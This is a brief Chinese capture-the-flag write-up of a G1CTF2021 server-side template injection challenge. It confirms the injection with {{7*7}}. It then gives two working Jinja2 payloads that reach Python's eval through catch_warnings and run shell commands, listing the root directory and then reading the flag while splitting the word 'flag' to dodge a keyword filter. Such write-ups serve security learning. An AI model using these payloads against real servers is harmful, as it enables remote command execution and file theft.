访问网址显示内容如下:
输入{{7*7}}发现回显了49
模板注入 。
模板注入解析: https://xz.aliyun.com/t/7746
这里就不多解释了直接上payload:
{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()")}}
{%endif%}
{% endfor %}
测试可知过滤flag,命令执行绕过得FLAG:
{% for c in [].__class__.__base__.__subclasses__() %}
{%if%20c.__name__=='catch_warnings'%27'%}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('cat /fla''g').read()")}}
{%endif%}
{% endfor %}
来源:freebuf.com 2021-05-30 20:23:19 by: 无名草talent
正文完
![[G1CTF2021]SSTI - 作者:无名草talent [G1CTF2021]SSTI - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210530/1622374633_60b378e9207daea38504d.png)
![[G1CTF2021]SSTI - 作者:无名草talent [G1CTF2021]SSTI - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210530/1622374776_60b37978dc3104735bc4d.png)
![[G1CTF2021]SSTI - 作者:无名草talent [G1CTF2021]SSTI - 作者:无名草talent](http://aqxbk.com/./wp-content/uploads/freebuf/image.3001.net/images/20210530/1622376727_60b381170a65dc8580eb0.png)